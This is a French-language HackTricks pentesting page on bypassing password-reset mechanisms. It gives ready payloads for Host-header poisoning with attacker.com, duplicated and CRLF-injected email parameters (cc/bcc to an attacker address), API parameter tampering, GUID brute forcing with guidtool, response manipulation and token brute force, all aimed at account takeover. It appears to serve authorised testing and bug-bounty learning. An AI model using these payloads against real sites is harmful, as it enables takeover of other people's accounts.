hacktricks/pentesting-web/reset-password.md

323 lines
14 KiB
Markdown

# Contournement de réinitialisation/mot de passe oublié
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
**Aperçus de Piratage**\
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
**Nouvelles de Piratage en Temps Réel**\
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
**Dernières Annonces**\
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
La compilation des techniques suivantes a été prise de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Fuite de Token de Réinitialisation de Mot de Passe Via Référent
Le **HTTP referer** est un champ d'en-tête HTTP optionnel qui identifie l'adresse de la page web qui est liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
### Exploitation
* Demandez la réinitialisation du mot de passe à votre adresse e-mail
* Cliquez sur le lien de réinitialisation du mot de passe
* Ne changez pas le mot de passe
* Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
* Interceptez la requête dans le proxy Burpsuite
* Vérifiez si l'en-tête referer fuite le token de réinitialisation du mot de passe.
### Impact
Cela permet à la personne qui a le contrôle d'un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le token de réinitialisation du mot de passe de l'utilisateur.
### Référence :
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## Empoisonnement de Réinitialisation de Mot de Passe
Si vous trouvez une attaque de l'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation du mot de passe !
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
### Exploitation
* Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
* Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
```
Host: attacker.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
* Vérifiez si le lien pour changer le mot de passe dans l'email pointe vers attacker.com
### Correctif
Utilisez `$_SERVER['SERVER_NAME']` plutôt que `$_SERVER['HTTP_HOST']`
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
### Impact
La victime recevra le lien malveillant dans son email et, en cliquant dessus, divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, menant à la prise de contrôle complète du compte.
### Référence :
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## Réinitialisation du mot de passe en manipulant le paramètre Email
### Exploitation
* Ajouter l'email de l'attaquant comme second paramètre en utilisant &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Ajoutez l'email de l'attaquant comme second paramètre en utilisant ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Ajouter l'email de l'attaquant comme second paramètre dans le tableau json
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
### Référence
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## Changement de l'Email et du Mot de passe de n'importe quel Utilisateur via les Paramètres de l'API
### Exploitation
* L'attaquant doit se connecter avec son compte et aller à la fonction de changement de mot de passe
* Démarrer Burp Suite et intercepter la requête
* Après avoir intercepté la requête, l'envoyer au répéteur et modifier les paramètres Email et Mot de passe
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
### Référence
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### Pas de limitation de taux : Bombardement d'emails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
### Exploitation
* Lancez Burp Suite et interceptez la demande de réinitialisation de mot de passe
* Envoyez à l'intrus
* Utilisez une charge utile nulle
### Référence
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
## Découvrez comment le jeton de réinitialisation de mot de passe est généré
Découvrez le modèle du jeton de réinitialisation de mot de passe
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
Si c'est
* Généré sur la base du Timestamp
* Généré sur la base de l'UserID
* Généré sur la base de l'email de l'utilisateur
* Généré sur la base du Prénom et du Nom
* Généré sur la base de la Date de Naissance
* Généré sur la base de la Cryptographie
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
## GUID devinable
Il existe différents types de GUID :
* **Version 0 :** Seulement vu dans le GUID nul ("00000000-0000-0000-0000-000000000000").
* **Version 1 :** Le GUID est généré de manière prévisible sur la base de :
* L'heure actuelle
* Une "séquence d'horloge" générée aléatoirement qui reste constante entre les GUID pendant le temps de fonctionnement du système générant
* Un "ID de nœud", qui est généré sur la base de l'adresse MAC du système s'il est disponible
* **Version 3 :** Le GUID est généré en utilisant un hachage MD5 d'un nom et d'un espace de noms fournis.
* **Version 4 :** Le GUID est généré aléatoirement.
* **Version 5 :** Le GUID est généré en utilisant un hachage SHA1 d'un nom et d'un espace de noms fournis.
Il est possible de regarder un GUID et de découvrir sa version, il existe un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)****
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de forcer brutalement les GUID :
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
### Références
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## Manipulation de réponse : Remplacer une mauvaise réponse par une bonne
Cherchez des requêtes et des réponses comme celles-ci
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
Changer la réponse
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
### Référence
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
### Utilisation d'un jeton expiré <a href="#8-using-expired-token" id="8-using-expired-token"></a>
* Vérifiez si le jeton expiré peut être réutilisé
### Forcer le jeton de réinitialisation du mot de passe <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
### Référence
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
### Essayez d'utiliser votre jeton <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
### Référence
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
## Invalid**ation de session** lors de la Déconnexion/Réinitialisation de mot de passe
Lorsqu'un utilisateur se **déconnecte ou réinitialise son mot de passe**, la session actuelle doit être invalidée.\
Ainsi, **capturez les cookies** pendant que l'utilisateur est connecté, **déconnectez-vous**, et **vérifiez** si les **cookies** sont toujours **valides**.\
Répétez le processus en **changeant le mot de passe** au lieu de vous déconnecter.
## Temps d'expiration du Token de réinitialisation
Les **tokens de réinitialisation doivent avoir un temps d'expiration**, après cela le token ne devrait plus être valide pour changer le mot de passe d'un utilisateur.
## Vérifications supplémentaires
* Utilisez username@burp\_collab.net et analysez le callback
* Email en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
* Mot de passe long (>200) entraîne un DoS
* Ajoutez un second paramètre email et sa valeur
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
**Aperçus de Hacking**\
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
**Nouvelles de Hacking en Temps Réel**\
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
**Dernières Annonces**\
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>